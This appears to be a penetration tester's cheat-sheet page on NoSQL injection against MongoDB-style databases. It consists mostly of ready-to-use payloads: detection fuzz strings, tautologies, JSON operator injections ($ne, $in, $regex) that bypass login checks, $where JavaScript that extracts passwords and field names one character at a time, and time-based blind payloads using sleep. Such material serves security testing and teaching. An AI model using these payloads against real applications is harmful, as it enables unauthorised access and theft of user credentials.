> For the complete documentation index, see [llms.txt](https://ivalexev.gitbook.io/rednote/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://ivalexev.gitbook.io/rednote/pentesting-process/web-attacks/nosqli.md).

# NoSQLi

NoSQL databases store and retrieve data in a format other than traditional SQL relational tables. They use a wide range of query languages instead of a universal standard like SQL, and have fewer relational constraints.

**Types**:

* Syntax injection
* Operator injection

## Detection

{% code overflow="wrap" %}

```
'"`{
;$Foo}
$Foo \xYZ
```

{% endcode %}

{% code overflow="wrap" %}

```
'%22%60%7b%0d%0a%3b%24Foo%7d%0d%0a%24Foo%20%5cxYZ%00
```

{% endcode %}

{% code overflow="wrap" %}

```
'\"`{\r;$Foo}\n$Foo \\xYZ\u0000
```

{% endcode %}

```
# FALSE
' && 0 && 'x
# TRUE
' && 1 && 'x
```

{% code overflow="wrap" %}

```
'||'1'=='1
```

{% endcode %}

MongoDB may ignore all characters after a `null` character.

## Operator Injection

You may be able to inject query operators to manipulate NoSQL queries.&#x20;

<table data-header-hidden><thead><tr><th width="182"></th><th></th></tr></thead><tbody><tr><td><code>$eq</code></td><td>Equal</td></tr><tr><td><code>$ne</code></td><td>Not equal</td></tr><tr><td><code>$gt</code></td><td>Greater than</td></tr><tr><td><code>$in</code></td><td>Documents that matches all of the values specified in an array.</td></tr><tr><td><code>$where</code></td><td>Documents that match a JavaScript expression.</td></tr><tr><td><code>$exists</code></td><td>Documents that have the specified field.</td></tr><tr><td><code>$regex</code></td><td>Documents where values ​​match a specified regex.</td></tr></tbody></table>

* `{"username":"wiener"}`   ->   `{"username":{"$ne":"invalid"}}`\
  `username=wiener`   ->   `username[$ne]=invalid`&#x20;
* You can try with (or use the [Content Type Converter](https://portswigger.net/bappstore/db57ecbe2cb7446292a94aa6181c9278) extension):
  1. Convert the request method from `GET` to `POST`.
  2. Change the `Content-Type` header to `application/json`.
  3. Add JSON to the message body.
  4. Inject query operators in the JSON.

ex.

{% code overflow="wrap" %}

```json
{"username":{"$in":["admin","administrator","superadmin"]},"password":{"$ne":""}}
```

{% endcode %}

{% code overflow="wrap" %}

```json
{"username":"myuser","password":"mypassword", "$where":"0"}
{"username":"myuser","password":"mypassword", "$where":"1"}
```

{% endcode %}

## Extra

If the query uses the `$where` operator, you can attempt to inject JavaScript functions into this query so that it returns sensitive data.

```
admin' && this.password[0] == 'a' || 'a'=='b
```

```
admin' && this.password.match(/\d/) || 'a'=='b
```

You may be able to use the `keys()` method to extract the name of data fields.

{% code overflow="wrap" %}

```
"$where":"Object.keys(this)[0].match('^.{0}a.*')"
"$where":"Object.keys(this)[0][0]=='a'"
```

{% endcode %}

Or other operator

```
"password":{"$regex":"^a*"}
```

You can also try with time delay

```
"$where": "sleep(5000)"
```

{% code overflow="wrap" %}

```
admin'+function(x){var waitTill = new Date(new Date().getTime() + 5000);while((x.password[0]==="a") && waitTill > new Date()){};}(this)+'
```

{% endcode %}

```
admin'+function(x){if(x.password[0]==="a"){sleep(5000)};}(this)+'
```
